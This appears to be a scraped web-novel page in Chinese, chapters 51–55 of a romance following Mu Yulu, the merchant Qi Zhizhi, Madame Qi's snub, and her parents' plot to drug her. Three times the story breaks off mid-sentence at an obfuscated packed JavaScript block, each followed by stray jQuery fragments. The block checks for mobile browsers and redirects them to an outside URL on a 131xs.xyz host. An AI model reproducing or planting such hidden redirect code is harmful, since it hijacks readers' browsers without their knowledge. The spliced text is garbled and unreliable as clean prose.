“他们供奉的神像与我们的大不相同，金身塑像手中托着的不是莲花净瓶，而是一轮小小的镂刻着神秘花纹的金日。”齐知止指尖在酒杯边缘轻轻一划，仿佛在描摹那轮金日的形状。 沐毓露原本在用调羹轻轻搅动她面前碗里的那碗豆腐汤，闻言动作不觉缓了下来，汤匙边缘舀起一小块颤巍巍的豆腐，悬停在半空当中。 齐知止见她听得入迷，思索了一下，话锋一转又道：“其实这天下之大，还有许多神奇之地。譬如朱雀国以南就有一片满是瘴气的密林，那里湿热难当，密林深处终年雾气弥漫，不见天日。那里的部族，女子皆以彩线盘发，缀着银铃，行走间叮当作响，据说这样能够驱赶林中的瘴鬼。” 沐毓露手中的调羹终于落下，调羹中那块嫩滑的豆腐无声滑入汤中。 她已经完全被他口中的那些奇闻吸引，忍不住轻声追问：“瘴鬼是什么？” 齐知止语气里添了几分故作的诡秘，眼底却含着促狭的笑意：“听说那是死于瘴气密林中的鬼魂，他们并不知道自己已经不在人世，每日在深林中漫无目的地游荡，发出状若叹息的声音。” “那里有一个传言，若是在林中独行，听见身后有脚步声相随，却不见人影，万不可回头张望，否则……” 齐知止话音还没有落地，啪嗒一声，沐毓露手中的调羹掉进了碗里。 52. 第52章 齐知止的声音顿住了，见她这般模样，他唇角的笑意加深，带着一种得逞的愉悦：“怎么，被吓到了？” 沐毓露咽了口唾沫，自然是不肯承认，“才没有，我只是好奇若是回头张望了会怎样。” 齐知止眼中狡黠之意更甚，他压低了声音道：“若是回了头，便会被那瘴鬼摄去魂魄，同它们一起永远迷失在雾瘴之中。” 沐毓露好奇地追问：“那……后来呢？有人见过那瘴鬼吗？它们到底只是一个传说，还是真实存在的东西？” 齐知止为自己斟了一杯酒：“这我就不得而知了，我只是听人说起过这个传言而已，没有亲眼见过。” 沐毓露有些恍惚地点了点头。 后来齐知止又给她讲述了许多行商途中的见闻，他不疾不徐地向她描绘着远方的瑰丽与神秘，而她仿佛在他的讲述中亲眼见到了那雪域庙宇、雾瘴密林还有明珠宝树…… 最后齐知止抬手轻轻叩了叩桌沿，将陷入无尽想象中的沐毓露唤醒：“我说了这样多，却终究只是我自己的见闻，你若是感兴趣，大可以自己去看一看。” 沐毓露有些神往，又有些胆怯：“那么远的地方，我也可以去吗？” 齐知止将语气里的调笑之意收起，他郑重地对沐毓露道：“我们行商之人必须有一个笃定的信念，那就是坚信只要我想，这世上便没有什么事情是办不到的。” 他认真地注视着沐毓露的眼睛，往前倾了倾身子，“第一步总是最难迈出的，我可以带你一起，你愿不愿意？” 沐毓露愣了好一会儿才反应过来齐知止是什么意思，她轻轻地吸了一口气，往后退了一下。 烛影摇红，映着两人面容，齐知止难得露出这般严肃的模样，“第一次见到你的时候是在天下第一楼，那天你穿着一身水绿色的长衫，看起来像是将春日裁到了身上。我看到你在见到穆衾寒之后拔腿就跑，从那个时候开始我便已经注意到你了。” 沐毓露又是一愣：“你说什么？你第一次见到我是在那个时候？” 她原以为他们的第一次相见是在她及笄那一日，她在天下第一楼抛绣球的时候，怎么也没有想到早在重生那一日命运的齿轮就已经开始转动。 齐知止眼中的笑意如雾一般氤氲散开，“后来沐老爷在你及笄那日包下了天下第一楼，说是那一日你要来抛绣球，结果没有想到，那天从楼上掉下去的不是绣球而是你。” 沐毓露也跟着他一起笑了，“其实绣球也掉下去了的，我当时把它抱在怀里。” 齐知止突然开口问她：“三州堇璱会回来娶你么？” 沐毓露张了张嘴，又沉默地合上。 齐知止仍旧直视着她的眼睛，一字一句地道：“倘若他回来娶你，我会助你们离开，若是他不回来了，那么我亲自带你离开。” 沐毓露定定地与他对视了片刻，然后将目光移开。 她与三州堇璱之间的约定不过是互相利用而已，三州堇璱对她有所图，她才愿意相信他是真的会来帮她。但是齐知止这样单方面郑重其事的承诺，反而让她有点不敢相信。 最终她还是选择了避开他的视线，并没有答应他的承诺。 此刻回避了他的承诺，也就避开了来日这个承诺带给她失望的可能。 齐知止安静地等待了一会儿，见她没有回应，倒也不再多说什么，只是嘱咐道：“三皇子生辰宴后我将离开一段时间，这一去大概需要三四个月，这段时间你好好保重，若是出了什么事情需要帮助，可以去寻知秋，或是给我传信。” 沐毓露点点头，犹豫了一下后开口问他：“你此行是要去玄武国么？” 齐知止扬眉一笑，又恢复了从前那副意气风发的模样：“我可是选择了相信你，听从你的建议等待时机，要在玄武国好好施展拳脚。” 沐毓露嗯了一声，倒是对他很有信心：“你也说过，只要你想，这世上没有什么事情是你办不到的，我相信你。” 齐知止又笑了一笑，然后邀请沐毓露：“几日后我将在天下第一楼设宴，届时会有三两好友为我践行，你也一起吧。” 这回沐毓露倒是答应得很快，还自告奋勇地道：“那到时候我再亲自为你做几道菜。” 她想了想，然后又问：“我还不知道你喜欢吃什么菜？你告诉我，我做给你吃。” “好呀。”齐知止笑眯眯地望着沐毓露，然后报出了一长串的菜名来。 沐毓露按住他让他等一下，进屋取来纸笔后让他继续说，他一边说她就一边认真地记。 此后两个人继续东拉西扯谈天说地，齐知止不再刻意逗弄她，也不再谈论一些沉重的话题，而是同她讲些京中趣闻、塞外风物，引得她神往不已。 不知不觉夜色已深，齐知止不宜在这里逗留太久，于是起身告辞：“还有几日的时间，这几天你可以借用齐府后厨研究生辰宴上的献菜菜品，就不必去天下第一楼了。” “放心吧，一应用具和食材都会给你准备好的，到时你便说你是去府上探望知秋便好。”不待沐毓露开口，齐知止补充道：“这几日工钱照发，你安心研究菜品就是。” 此时夜色深沉，青石桌上烛光摇曳，落在沐毓露的眼里，简直像是给齐知止镶上了一层金边。 此后几日，沐毓露便依照齐知止所言，打着看望齐知秋的旗号到齐府后厨去研究献菜的菜品。 原本她还在苦恼，自己每天都打着同样的旗号去齐府拜访，会不会惹得齐老爷或者齐夫人心中生疑，即便他们没有怀疑什么，每天都上门叨扰，恐怕也会打扰到他们。 结果到了齐府之后她才发现，自己之前设想的那些问题完全都是多虑了。 齐老爷这段时间压根就不在府中，说是去白虎国哪个偏远部落采购香料去了。 而齐夫人也根本就不管这些，她每日忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16435640|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着骑马打球插花，白天要巡视铺子，晚上还要设宴应酬，可以说是忙得不亦乐乎，府上若有什么访客，竟然都是由齐知秋接待。 沐毓露很是震惊：“你的父母居然允许你接见外客？” 齐知秋听她这样问，也很疑惑：“难道你的父母不允许？” 沐毓露摇了摇头：“我们平时连出门都不被允许，更别说接见外客了，我也就是前段时间在府里闹了一场，最近他们对我看管得才松了点。” 齐知秋听完更疑惑了：“可你们是府上的小姐呀，又不是牢里的犯人，为什么不允许你们出门？” 沐毓露听她这样问，便知道她从小在齐府当真是过着自由自在的日子，自由到她甚至想象不到寻常女儿家都过着什么样的生活。 于是她也就不再多说什么，只解释了一句自古规矩就是如此，闺中女儿需恪守名节，注意男女大防。 然后便拉着齐知秋陪她一起研究菜品了。 这几日她们两个人可谓是朝夕相处，就守在厨房的这一方天地里，集中精力研究新菜。 在这期间齐知秋同她说了许多齐府的事。 其中最令沐毓露感兴趣的便是齐夫人年轻时的传奇往事。原来齐夫人是玄武国人，自幼父母双亡，被一位游历江湖的女先生收养。那位女先生博学多识，上知天文下知地理，甚至还精通五行八卦奇门遁甲。 齐夫人在她身边跟随了十八年，一些经商理财之道也是跟随这位女先生学的。 在遇见齐老爷之前，她原本立志同师父一样终身不嫁，可世间缘分就是如此，十八岁那年她与年轻时的齐老爷相遇，两人可谓一见钟情，就此结为连理。 齐知秋感叹道：“还好那年父亲和母亲相遇了，否则这世上岂不是就没有我和哥哥了。” 她笑眯眯地望着沐毓露：“你说这世上的缘分是不是很奇妙？两人若是有缘，即便隔着千山万水也能相遇，我觉得你和我哥也是挺有缘分的。” 齐知秋拼命地把话题往齐知止身上扯，沐毓露却只对齐夫人年轻时候的事感兴趣，“齐夫人年轻时还跟随那位女先生去过什么地方？你再给我讲讲呗。” 齐知秋撅了撅嘴，无奈地叹了口气：“那好吧，真没想到你对我娘比对我哥还感兴趣。听说那位女先生还精通医术，我娘年轻的时候跟随她一起悬壶济世，为了采集药材，还随她一起去过许多的山川湖海……” 说话间厨房的门被人推开，齐知秋回头望了一眼，然后起身扑过去，“娘！您回来了！” 沐毓露也蹲在灶前回头去望，见到立在门口的那个美妇人后，她猛地站起身来，垂首向对方行了一礼，“齐夫人好。” 齐夫人看起来很年轻，说是齐知秋的姐姐也不为过，她矜持地立于门口，颔首扫了沐毓露一眼，然后恍若未闻地移开目光，抬手拂了拂齐知秋的肩膀：“整日都在灶台前待着，落了一身的灰都不知道。” 53. 第53章 齐夫人这话看似是在责怪，实际上语气里一点责备的意思都没有，她像是没有看见沐毓露这个人一般，牵起齐知秋的手就想带她走。 厨房里的气氛瞬间尴尬下来，齐知秋自然也注意到了母亲对沐毓露刻意的忽视，她顿住步子，反握住齐夫人的手，然后亲昵地攀上她的胳膊，“娘，这位就是我常常跟您提起的沐姐姐，她可厉害了，做得一手的好菜呢。” 齐夫人似乎是无奈地吸了口气，拗不过自己的女儿，只好也停下步子，再次垂下目光扫了沐毓露一眼，然后淡淡地道：“原来这位姑娘便是沐府的大小姐。” 沐毓露这几日常听齐知秋说起齐夫人的往事，她早已对这位拥有传奇过往的夫人心生敬仰，因此在亲眼见到齐夫人的时候，她原本是很局促的。 可是此刻眼前的情况很清楚，齐夫人摆明了不喜欢她，那冷淡的语气分明就是在下逐客令。 沐毓露反而镇定了下来，像这样疏离甚至带有一点恶意的排斥，是她在沐府早就经历惯了的。 再次恭恭敬敬地向齐夫人行了一礼，她垂首准备告辞，“这几日我来府上叨扰，实在是打扰您了，今天时候也不早了，我这就告辞。” 齐夫人却在这时问她：“我听阿诺说起过，你是为了准备献菜的菜品，这几日才来我府上的？” 阿诺便是齐知秋的小名，沐毓露点了点头，随即意识到齐夫人问她这话是什么意思。 于是她立马说道：“明日便是生辰宴了，过了明日我就不会再来齐府打扰，这段时间多谢齐小姐的照顾。” 齐夫人点了点头，“那就好，过两日我要邀请苏家小姐来齐府赏花，有外人在此的确是不方便。” 沐毓露听见此话倒是面色不变，反而是齐知秋忍不住跳了起来，“娘！您说这些话干什么呀？” 齐夫人转过头瞪了她一眼，“我说这话怎么了？” 齐知秋急得快要哭了，“你邀请她来赏花就赏花嘛，沐小姐也是我和我哥的朋友，什么外人不外人的？” 齐夫人若无其事地笑了笑，“那苏家与我们齐家是世交，你们兄妹二人也是与苏小姐一同长大的，你哥哥与她可以说是有青梅竹马的情分，但我们与沐府可没有什么交情，沐小姐既是客人，也是外人，有什么问题吗？” 齐夫人这一张嘴好生厉害，说起话来比王姨娘还阴阳怪气，沐毓露却也没有生气，她只是笑了笑，不再多说什么，再次行礼告辞。 “我来送送你！”齐知秋甩开齐夫人的手，转身追上她。 却听见齐夫人在她们身后道：“明日苏小姐来了，你可要好好陪陪人家，顺便探一探她的心意呀，你哥哥年纪不小了，也该说一门亲事了。” 这话顺着风就钻进了沐毓露的耳朵里，齐知秋连忙拉着她快步离开。 两人一路无话，行至门口齐知秋才闷闷地道：“我娘今天不知道是怎么了，她平时不这样的。” 沐毓露又笑了笑，“没事，我根本没往心里去，何况这些日子确实是我来齐府叨扰了……” 齐知秋连忙打断她：“沐姐姐，我在心里是拿你当我亲姐姐的，还有我哥，我哥对你也是真心的……哎呀，总之你千万不要因为这个与我们生分了！” 见沐毓露不多说什么，只是嘴角噙着一抹无所谓的笑意，好像真的没把这件事情放在心上，她反而更着急了，“那苏家的确与齐家是世交，但苏小姐也只是我们儿时的玩伴而已，她跟我哥压根没有什么青梅竹马的情分，那都是我娘乱说的，你千万别信。” 沐毓露见这小丫头如此着急，安抚地握了握她的手：“你也知道一些沐府的事，便该知道今天这些话根本不会给我造成任何伤害，也不会让我对你或者对齐公子产生任何误会。我也是真心拿你当妹妹的，否则这几日就不会上门麻烦你们了。” 沐毓露这番话倒是说得掏心掏肺，齐知秋总算是不那么着急了。送别沐毓露之后，她气冲冲地跑回了屋里。 齐夫人就在屋里等她，见她跑得一头的汗水，抽出手帕来给她拭汗，“天渐渐热了，虽是晚上气温也不凉爽，你跑这么快干什么。” 齐知秋急得直跺脚，“娘，您说说您刚才是干什么呀？人家沐小姐又没有招惹您，您为什么那样说她？” 齐夫人收了手帕，不紧不慢地坐下，“原本我不想同你说这些，可你这孩子越大越不明事理，我便好好说给你听听。” “你知道沐家也是做生意的，可知道她爹抢了我们家多少资源？这种人做起生意来不择手段，一副小人德行，他教出来的女儿能是什么良善之辈？” 齐知秋在她身旁坐下，急匆匆地道：“可她爹是她爹，沐小姐是沐小姐。那沐老爷做了些什么，关沐小姐什么事儿？” 齐夫人点了点她的额头，“好，就算沐大小姐没有沾染生意场上的事，那些事情都与她无关，可你是否听说过沐府家风不正，那府里的姨娘小姐们三天一小闹五天一大闹，若是给她们搭个戏台子，她们可以在上面唱个三天三夜。” “阿诺，不管是娶妻还是嫁人，最重要的就是要看对方家风如何，若是泥塘太脏，是生不出什么洁净的花儿来的，你难道愿意你哥娶这样的一个女子回家，再把咱们家也折腾得乌烟瘴气么？” 齐知秋怔了怔，一时想不到反驳的话，过了好一会儿才咬咬牙道：“反正沐姐姐跟别的人就是不同，她才不会把我们家也折腾得乌烟瘴气呢。” 她一把揽过齐夫人的胳膊，“娘，我喜欢沐姐姐，哥哥也喜欢她，她若是来了我们家，我们高兴还来不及，怎么会闹呢？再说了，当初您和爹爹在一起，不也是因为互相喜欢么？” 齐夫人叹了口气：“正因如此，我从来没有强迫过你们跟不喜欢的人在一起，哪怕是苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455323|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小姐，娘也只是让你哥哥同她多接触接触，并没有强迫他娶她，对不对？” 齐知秋闷闷地嗯了一声，点了点头。 齐夫人拍了拍她的手，“你还小，还不知道这世上许多事情的利害所在。想当初那沐大小姐在咱们天下第一楼抛绣球，这件事情在京中闹得可是沸沸扬扬。” “且先不说那世人口中的天下第一高手三州堇璱，他的背景该有多复杂，单说那日也来抢绣球的穆王爷，可是我们招惹得起的？” “就算如你所言，那沐大小姐不是个惹事生非的，但她如今就是一块烫手山芋，摸不得。” 齐知秋撒娇地摇了摇齐夫人的胳膊，“可是那三州堇璱自从抢了绣球之后就再也没出现过了呀，而且沐姐姐明确表示过她根本就不喜欢穆王爷，哥哥还是有机会的，不争取一下怎么知道行不行呢？” 齐夫人抽开她的手，站起身来，“你这孩子怎么就听不懂呢？我告诉你，就算沐毓露不是是非本身，但她也已经招惹了很多的是非了。” “这样的人不能进我们齐家的门，也不配成为我儿的妻子。这几天纵着她日日上门，我不是在纵容她，而是在纵容你。今天我就明明白白地告诉你，以后不许她再进齐府的门，你也不许再跟她来往。” 不待齐知秋说话，她继续强硬地道：“你不必再说什么，这件事情即便你爹知道了，也是一样的说法，至于你哥哥那边，等他回来我亲自去与他说。” 说完她转身推门就走，完全不给齐知秋继续为沐毓露辩解的机会，齐知秋只好愣愣地站在原地，注视着母亲离去的背影干着急。 却说沐毓露在离开齐府之后并没有立即回去，而是漫无目的地在街上溜达了一会儿，等到心中的郁气疏解得差不多了，这才慢慢地往沐府走。 方才齐夫人所说的那些话若是出自旁人之口，自然是伤不了她的。 可这些日子她常听齐知秋讲起齐夫人往昔的事迹，说她是如何的博学能干，又是如何的自由洒脱。 沐毓露其实是很敬佩这样的女子，也很向往这样的生活的。 她原本期望着有机会能同齐夫人讲上两句话，亲口听她说一说过去的经历，却没想到对方竟如此厌恶自己，一见到她就直接下了逐客令。 轻轻地吸了口气，她自嘲地想，也就是她生在沐府，在沐玉罡手底下讨生活，才有这般强大的心理承受能力，若是换别家的小姐被齐夫人这样一番输出，指不定得有多难过。 可是她转念一想，也许就是因为她生在沐府，所以齐夫人才不待见她。 她知道沐玉罡在京里的名声一向是不大好的。 但其实她自己的名声也未必称得上好。 她就这么埋头思索着，没有注意到前方的路，忽然听见头顶传来一道清冽的嗓音：“再继续往前走，这道墙就该被你的头撞出一个洞来了。” 54. 第54章 沐毓露听劝地顿住步子，抬头一看才发现面前果然立着一堵墙。 她站定之后继续抬头，然后便看到了蹲在墙头的那道身影。 一如既往的粉色衣衫，飘逸如烟在风中摇曳，一如既往的青铜面具，面具之下是那双好看的眼。 “三州堇璱？”不知道为什么，看到他的一瞬间沐毓露心里好似有一块大石落地：“你回来了？” 三州堇璱仍旧随意地蹲在墙上，歪着脑袋看她，突然开口问了一句：“你现在在天下第一楼当厨子？” 沐毓露左右张望了一下，踮起脚尖试图离他近一点，压低了声音道：“你小声一点，这是可以到处说的吗？被我爹知道了又要抓我回去了。” 三州堇璱学着她的样子也鬼鬼祟祟地左右张望了一番，然后用气声重复了一遍：“你现在在天下第一楼当厨子？” 沐毓露：“……” 她点了点头，紧接着问三州堇璱：“你是路过这里还是特意来寻我的？” 三州堇璱回答得倒也坦诚：“路过而已，没打算特意寻你。” 沐毓露又点了点头，语气里有些无语：“那好吧，你继续忙你的，我要回去了。” 说完她转身欲走。 三州堇璱这时从墙上跃下，也随她一起往巷子外面走，很有礼貌地问：“我想吃你做的菜了，听说你的拿手菜是鸡汤煨豆腐？今天可以做给我吃吗？” 沐毓露转头望了他一眼，“我先问你，你是怎么知道我在天下第一楼当厨子的？” 三州堇璱摊了摊手，“人们都说天下第一楼来了一位不逊于杨大厨的名厨，我一听便知道是你。” 他语气诚恳，听得出来说的是真心话，而非拍沐毓露的马屁：“在这朱雀国中手艺不逊于杨大厨的，我只想得到你一个。” 沐毓露方才还板着个脸，听见三州堇璱如此夸她，忍不住笑出了声来。 再开口时她的语气也缓和了许多：“今天晚上不能给你做鸡汤煨豆腐，明日我要在三皇子的生辰宴上献菜，今晚得早点休息。” 她语声轻快地道：“等明天献完菜之后你再来寻我，我单独给你做一桌好吃的。” 三州堇璱听她这样说，语声一滞：“明日宫中生辰宴你也要去？” 沐毓露点头，“名单都已经报上去了，我要去献菜的。” 三州堇璱沉默了，许久没有说话。 过了好一会儿他才道：“明日生辰宴上除了有朱雀国的皇室，还有各国的使者，到时人员众多，关系复杂，你献完菜就早些回去吧。” 沐毓露转过头疑惑地盯着他，“明天生辰宴上权贵云集，戒备一定很森严，应该不会有什么意外吧？” 三州堇璱却不再开口，只是安静地行走在她身侧，沐毓露这才发现他走路没有声音，整个人身体绷得笔直，像一只浑身警戒的猫行走在夜色里。 他像是随时都在防备着有人会突然从哪个角落里冲出来砍他一刀。 沐毓露跟他一起沉默了一会儿，犹豫了一下，正打算开口问他这一次回来是做什么，便听见他在自己身侧道：“到沐府了。” 沐毓露啊了一声，抬头望了一眼前方沐府的牌匾，才发现不知不觉间已经到家了。 但她还是对三州堇璱方才那一句突如其来的嘱咐感到疑惑，难道他这次回来同三皇子的生辰宴也有关系？ 转头正欲问他，却发现身侧空空荡荡，身旁的人不知道什么时候已经离开了。 夜色已深，长街上空无一人，黑漆漆的连一丝光亮也没有，这三州堇璱当真是神出鬼没的。沐毓露吸了吸鼻子，回过头走上台阶，叩响了沐府的门。 自从被穆衾寒警告过之后，沐玉罡真有点把沐毓露当祖宗供起来的意思，不仅不再过问她每日的行程，还专门让人给她留了门，不管她多晚回来都有人给她开门。 沐毓露自然也知道沐玉罡对她如此放纵是因为穆衾寒的缘故，她虽然每日都会外出，但今天还是第一次回来得这么晚。 大门吱呀一声从里面打开，给她开门的小丫鬟往旁边侧了侧身子，为她让出一条路来。 沐毓露冲她点了点头，揉着有些酸涩的胳膊向后院走去，却听见那小丫鬟在身后唤她。 她停下步子回头看她：“怎么了？” 那丫鬟显是有什么话想告诉她，却又犹豫着不敢说，胆怯地左右张望着，生怕有人撞见她的样子。 沐毓露目光一沉，走过去拉住她，将她拉到了花丛后的阴影里：“有什么话就说吧，你放心，我不会说出你来。” 那小丫头倒很谨慎，没有直接同沐毓露说破，而是隐晦地道：“小姐快去老爷的书房看看吧。” 说完她转身就跑，一溜烟就不见了身影。 沐毓露脚下生风，当即往沐玉罡的书房而去。 自从在天下第一楼领了工钱之后，沐毓露便时不时随手给身边的丫鬟小厮打赏，这倒不是她挥金如土，而是因为她深知在这深宅大院里的生存之道。 王姨娘之所以能在沐府过得如鱼得水，除了因为她能拿捏住沐玉罡的心思，还因为她对下人大方，很舍得给底下的人花银子。 实打实的银两花了出去，底下人自然也就知道该给谁卖命。 所以自从发现沐毓露手里有一些小钱，并且她很舍得打赏下人之后，沐府的那些丫鬟小厮们对她的态度就变了，个个都对她殷勤得不得了。 再后来他们又发现，小姐虽然时常不在府中，但她对府里发生了什么事情很感兴趣，总是会抓住身边的丫头打听询问，每次问完之后不管对方答了什么，那些事情对她到底有没有用，她都会打赏对方一笔银子。 于是慢慢地就有人主动来同她说府里的八卦，并且这些丫鬟小厮之间还逐渐有了竞争意识，争相去听一些更有价值的墙角，等沐毓露回来再转述给她。 沐毓露在府中的情报网就这样形成了。 今晚那小丫鬟只语焉不详地同她说了这么一句话，并且紧张成那个样子，说完就跑连赏银都来不及拿，这让沐毓露也跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466057|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧张起来。 沐玉罡恐怕是在书房同人谋划着有关她的事，而且一定是一桩不小的事。 赶到书房之后，她并没有贸然进入，而是观察了一下四周，发现沐玉罡很谨慎地把周围的下人都赶走了。 屋里烛火摇曳，映着两人的身影。 她看出来其中一个是沐玉罡，另一道人影则是沐昭氏，顿时心中警铃大作。 亲爹亲娘凑在一块谋划着与她有关的事。 那能是什么好事？ 她蹑手蹑脚地行至窗前，蹲下身子竖起耳朵听。 第一句飘进她耳朵里的话便十分炸裂：“要不干脆把她药倒，送到穆王爷的床上去？” 这是她亲娘沐昭氏的声音，听见这句话沐毓露的心瞬间瞬间凉了半截。 紧接着传来的是沐玉罡的声音：“这样能成么？你也看见了那天穆王爷护着她的样子，简直恨不得把她放嘴里含着，我们要真把她药倒了，回头穆王爷不得来找我们算账？” 沐昭氏冷哼了一声：“那你说怎么办，那三州堇璱抢了绣球之后到现在都没有出现，说什么回来娶她，我看都是骗人的。现在她名声也臭了，京中根本没人敢要她，再这样下去不仅耽误了她自己，还连累我的晚意跟她一起嫁不出去。” 说着说着她哭了起来：“要是实在不行，把她送回乡下去，找个乡绅嫁了吧。好歹把她嫁出去了，也给沐家另外的女儿留一条活路。” 沐玉罡长叹了一口气：“把她送走嫁给一个乡绅？亏你想得出来！这事儿要是被穆王爷知道了，你还想要你的脑袋不？” 沐昭氏哭得更加伤心了：“这也不行那也不行，那你说怎么办？就这么让她拖着，把沐府女儿们的名声全都败坏掉，大家都跟她一样拖成个老姑娘，到死也嫁不出去！” 沐玉罡又是一声长叹：“你看你这个人就老爱着急，急有什么用？我不是在想办法嘛！” 屋里一时陷入沉默之中，只余沐昭氏抽抽嗒嗒的啜泣声。 沐毓露在外面蹲得腿都麻了，才听见沐玉罡继续道：“这丫头野得不成样子，劝她肯定是没有用的。首先你刚才的思路是对的，想要让她乖乖听话，只有把她药倒才行。” 话音尚未落地便传来沐昭氏的脚步声：“我现在就去吩咐秋池，让她明天一大早就出去买药。” 沐玉罡啧了一声，显然是拉住了沐昭氏。 “你先别急，听我把话说完。” “把她药倒了直接送到床上去是绝对行不通的，真要这么干穆王爷肯定会收拾我们，要想一个迂回的法子，既让那丫头就范，还让王爷觉得他是在英雄救美。” “我都已经想好了，过几日你举办一场马球会，到时候把那丫头带上，记得要提前以沐府的名义给穆王府发一张请帖。我会寻一个小混混，到时候让他逼着小露喝药，你再让秋池把她的行踪透露给穆王爷，让穆王爷来一场英雄救美，顺便生米煮成熟饭，这不就妥了？” 沐昭氏变涕为笑：“还是老爷想得周全。” 55. 第55章 沐毓露不记得自己是怎么离开书房回到院子的，心云和默合一左一右站在院子门口，见到她魂不守舍的样子都被吓了一跳。 心云快步上前扶住她，“小姐，你这是怎么了？怎么这么晚才回来？发生了什么事吗？” 听见耳畔熟悉的关切声，沐毓露这才终于回过神来，一颗如坠冰窟的心也逐渐浮了上来，感受到些许暖意。 默合给她端来一杯热茶，“小姐的手怎么这样凉？可是在外面受寒了？” 沐毓露饮了口茶，缓慢地摇了摇头。 她现在有一种劫后余生的感觉。 方才沐玉罡和沐昭氏的对话，让她越想越觉得后怕。 倘若今晚没有见到那个小丫鬟，倘若那个小丫鬟没有提醒她，那她恐怕就要被父母蒙在鼓里，傻乎乎地被他们卖出去了。 不知道他们有没有想过，若是那小混混不听从沐玉罡的指挥，当真轻薄于她呢？若是穆衾寒嫌弃她被别人染指，不愿意再娶她呢？ 那时她该怎么办？ 为了不连累沐府其余的女儿，只怕沐昭氏真的会给她一条白绫让她自己吊死吧。 方才暖和起来的身子瞬间又冰凉了下去。 按照她原本的计划，此时她已经出手了所有的屋契，收回一大笔银两远走高飞了，哪里还用得着待在这里担惊受怕。 可是因为沐晚意的揭发，她所有的屋契都被收走，此刻只能待在沐府任人宰割。 一瞬间杀心又起，她又想去厨房拿刀了。 好在心云的话唤醒了她的理智：“小姐，你是不是身子不舒服？明日就要去宫里献菜，可耽误不得呀。你要是不舒服，我现在就去给你找大夫。” 说着心云拔腿就要往外跑，被沐毓露一把攥住了胳膊。 是呀，明日就要去宫里献菜了，她有这个自信，她一定会如齐知止所言那般抓住这次机会扬名天下。 到时沐玉罡便不敢轻易对她动手了，他怎么着也得掂量掂量，若是他们真的在沐府闹得那么难看，他的生意还要不要做了。 齐知止说得没错，名声就是她的底气，不论今晚听到了什么，她都要装作没听到，她要好好休息，集中精力打好明天的硬仗。 “我没事，就是有些累了。”沐毓露起身向房间走去：“夜已经深了，我要休息了，你们也快点歇息吧。” 不论发生了什么事情都等过了明天再说。 第二天沐毓露起了个大早，天还未亮就被宫里的人接走了。 看到沐毓露被宫里的马车接走，沐玉罡和沐昭氏面面相觑。 其实前两日沐毓露已经在齐知秋的陪伴下去过宫里一趟了，那一次是宫中的内官要求提前试菜，合格者方可留下，不合格的会被打回去重做，要是当天仍旧做不出让内官令满意的菜品，三皇子生辰宴那日也就不必献菜了。 那日沐毓露呈上去的菜获得了所有内官的一致好评，回去的路上齐知秋一个劲儿地夸赞她：“眼见着你就要扬名立万了，可千万不能忘记我这个好姐妹呀。生辰宴那日入宫的时候你记得来叫我，我到时陪你一起入宫，给你备菜好不好呀？” 那时沐毓露自然是一口答应下来的，可是经过昨晚齐夫人的事情后，她便决定不叫上齐知秋一起，而是独自入宫了。 这倒不是因为她记仇，而是那晚她瞧出来齐夫人是一个强势的人，只怕平日在府里也是说一不二的。 那天晚上她的态度很明确，摆明了不允许齐知秋再继续与自己来往，若是这时候她还贴上去，反而会让齐知秋两头为难。 于是她吩咐心云等她走了之后再去齐府给齐知止兄妹传个话，就说宫里的人催得紧，入宫后还有很多事等着要做，她就不等他们，先行入宫了。 入宫之后她倒也真的是有许多事情要做的。 首先要接受验身，确保身上没有带什么毒药利器，然后要检查食材，确定需要的食材全都准备无误，若是这个时候发现缺什么短什么了，还来得及去买。 紧接着便是聆听宫中的礼仪，保证晚上献菜的时候不会在诸国使臣面前失了礼数。 最后每个人都要提前阐述一遍所献菜品的内容，由内官进行记录。当晚他们在宴上所说之话不得与内官此刻记录之言有出入，否则便是杀头的死罪。 如此一桩桩事情办下来，结束的时候已经到了下午，此时殿外已有使臣陆续而至，御厨们早已忙得热火朝天，他们这些献菜之人稍作休息之后也要开始备菜了。 杨大厨便在这个时候凑过来，拍了拍沐毓露的肩膀，“今天一个人来的？没有人帮你备菜么？” 沐毓露回过头，不好意思地笑了笑：“我一个人就可以了。” 她此前和杨大厨同在天下第一楼烧菜，两人倒也有些交集，只不过直到此次献菜，杨大厨才知道原来她是女儿身。 杨大厨呵呵笑道：“我第一次见到你的时候就觉得你很亲切，可是后来知道你居然是个女子，我还愁闷了好长一段时间。” 他不加掩饰地道：“那时候我在想，我真是老了么，居然还比不上一个年轻的小丫头。不过前日见到你献菜的菜品，我算是真正地心服口服了。” 沐毓露连忙道：“您千万不要这样说，之前在天下第一楼晚辈请教过您很多问题，若非您不吝赐教，我怎么可能进步得这么快？您要是这样说，那可真的是折煞晚辈了。” 